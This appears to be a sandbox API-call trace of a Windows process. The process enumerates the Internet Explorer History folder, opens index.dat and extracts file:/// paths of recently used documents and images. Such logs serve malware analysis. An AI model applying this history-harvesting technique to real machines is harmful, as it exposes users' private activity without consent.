	[0098.788] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.788] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.788] wcslen (_String="*.*") returned 0x3
	[0098.788] wcscpy (in: _Dest=0x18a4bc, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History"
	[0098.788] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.788] wcscat (in: _Dest=0x18a4bc, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\"
	[0098.788] wcscat (in: _Dest=0x18a4bc, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*"
	[0098.788] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18a744 | out: lpFindFileData=0x18a744) returned 0x60f798
	[0098.788] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.788] wcslen (_String=".") returned 0x1
	[0098.788] wcscpy (in: _Dest=0x18a994, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History"
	[0098.788] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.788] wcscat (in: _Dest=0x18a994, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\"
	[0098.788] wcscat (in: _Dest=0x18a994, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\."
	[0098.788] wcscmp (_String1=".", _String2="..") returned -1
	[0098.789] wcscmp (_String1=".", _String2=".") returned 0
	[0098.789] _wcsicmp (_String1=".", _String2="index.dat") returned -59
	[0098.789] FindNextFileW (in: hFindFile=0x60f798, lpFindFileData=0x18a744 | out: lpFindFileData=0x18a744) returned 1
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.789] wcslen (_String="..") returned 0x2
	[0098.789] wcscpy (in: _Dest=0x18a994, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History"
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.789] wcscat (in: _Dest=0x18a994, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\"
	[0098.789] wcscat (in: _Dest=0x18a994, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\.."
	[0098.789] wcscmp (_String1="..", _String2="..") returned 0
	[0098.789] _wcsicmp (_String1="..", _String2="index.dat") returned -59
	[0098.789] FindNextFileW (in: hFindFile=0x60f798, lpFindFileData=0x18a744 | out: lpFindFileData=0x18a744) returned 1
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.789] wcslen (_String="desktop.ini") returned 0xb
	[0098.789] wcscpy (in: _Dest=0x18a994, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History"
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.789] wcscat (in: _Dest=0x18a994, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\"
	[0098.789] wcscat (in: _Dest=0x18a994, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini"
	[0098.789] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
	[0098.789] FindNextFileW (in: hFindFile=0x60f798, lpFindFileData=0x18a744 | out: lpFindFileData=0x18a744) returned 1
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.789] wcslen (_String="History.IE5") returned 0xb
	[0098.789] wcscpy (in: _Dest=0x18a994, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History"
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39
	[0098.789] wcscat (in: _Dest=0x18a994, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\"
	[0098.789] wcscat (in: _Dest=0x18a994, _Source="History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
	[0098.789] wcscmp (_String1="History.IE5", _String2="..") returned 1
	[0098.789] wcscmp (_String1="History.IE5", _String2=".") returned 1
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.789] wcslen (_String="*.*") returned 0x3
	[0098.789] wcscpy (in: _Dest=0x189ac0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.789] wcscat (in: _Dest=0x189ac0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
	[0098.789] wcscat (in: _Dest=0x189ac0, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*"
	[0098.789] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 0x60f7d8
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.789] wcslen (_String=".") returned 0x1
	[0098.789] wcscpy (in: _Dest=0x189f98, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
	[0098.789] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.789] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
	[0098.789] wcscat (in: _Dest=0x189f98, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\."
	[0098.789] wcscmp (_String1=".", _String2="..") returned -1
	[0098.790] wcscmp (_String1=".", _String2=".") returned 0
	[0098.790] _wcsicmp (_String1=".", _String2="index.dat") returned -59
	[0098.790] FindNextFileW (in: hFindFile=0x60f7d8, lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 1
	[0098.790] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.790] wcslen (_String="..") returned 0x2
	[0098.790] wcscpy (in: _Dest=0x189f98, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
	[0098.790] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.790] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
	[0098.790] wcscat (in: _Dest=0x189f98, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\.."
	[0098.790] wcscmp (_String1="..", _String2="..") returned 0
	[0098.790] _wcsicmp (_String1="..", _String2="index.dat") returned -59
	[0098.790] FindNextFileW (in: hFindFile=0x60f7d8, lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 1
	[0098.790] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.790] wcslen (_String="desktop.ini") returned 0xb
	[0098.790] wcscpy (in: _Dest=0x189f98, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
	[0098.790] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.790] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
	[0098.790] wcscat (in: _Dest=0x189f98, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini"
	[0098.790] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
	[0098.790] FindNextFileW (in: hFindFile=0x60f7d8, lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 1
	[0098.790] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.790] wcslen (_String="index.dat") returned 0x9
	[0098.790] wcscpy (in: _Dest=0x189f98, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
	[0098.790] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45
	[0098.790] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
	[0098.790] wcscat (in: _Dest=0x189f98, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat"
	[0098.790] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
	[0098.790] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbc
	[0098.790] SetFilePointer (in: hFile=0xbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.790] ReadFile (in: hFile=0xbc, lpBuffer=0x189a18, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1836e0, lpOverlapped=0x0 | out: lpBuffer=0x189a18*, lpNumberOfBytesRead=0x1836e0*=0x20, lpOverlapped=0x0) returned 1
	[0098.791] GetFileSize (in: hFile=0xbc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000
	[0098.791] SetFilePointer (in: hFile=0xbc, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0098.791] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.791] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.791] SetFilePointer (in: hFile=0xbc, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0098.791] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.841] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/vx8QqgXIV3Q7Qe87.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx"
	[0098.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 58
	[0098.841] wcslen (_String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 0x39
	[0098.841] SetFilePointer (in: hFile=0xbc, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0098.841] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.841] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.841] SetFilePointer (in: hFile=0xbc, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0098.841] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.841] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/h9ejN.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg"
	[0098.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 71
	[0098.841] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.841] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 0x46
	[0098.841] SetFilePointer (in: hFile=0xbc, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
	[0098.841] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.841] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.841] SetFilePointer (in: hFile=0xbc, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
	[0098.841] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.841] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/QllZ-Y6zXxcGv.pptx" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx"
	[0098.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 61
	[0098.841] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.841] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.841] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 0x3c
	[0098.841] SetFilePointer (in: hFile=0xbc, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
	[0098.842] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.842] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.842] SetFilePointer (in: hFile=0xbc, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
	[0098.842] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.842] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/GYQQz0Qe7ObpQ.xlsx" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx"
	[0098.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 74
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.842] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 0x49
	[0098.842] SetFilePointer (in: hFile=0xbc, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
	[0098.842] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.842] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.842] SetFilePointer (in: hFile=0xbc, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
	[0098.842] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.842] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/u360dJmkgzvGd5cDM.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp"
	[0098.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 103
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.842] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 0x66
	[0098.842] SetFilePointer (in: hFile=0xbc, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
	[0098.842] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.842] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.842] SetFilePointer (in: hFile=0xbc, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
	[0098.842] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.842] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/gjve.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/gjve.gif") returned="file:///c:/users/aetadzjz/pictures/gjve.gif"
	[0098.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 44
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/gjve.gif", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/gjve.gif", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
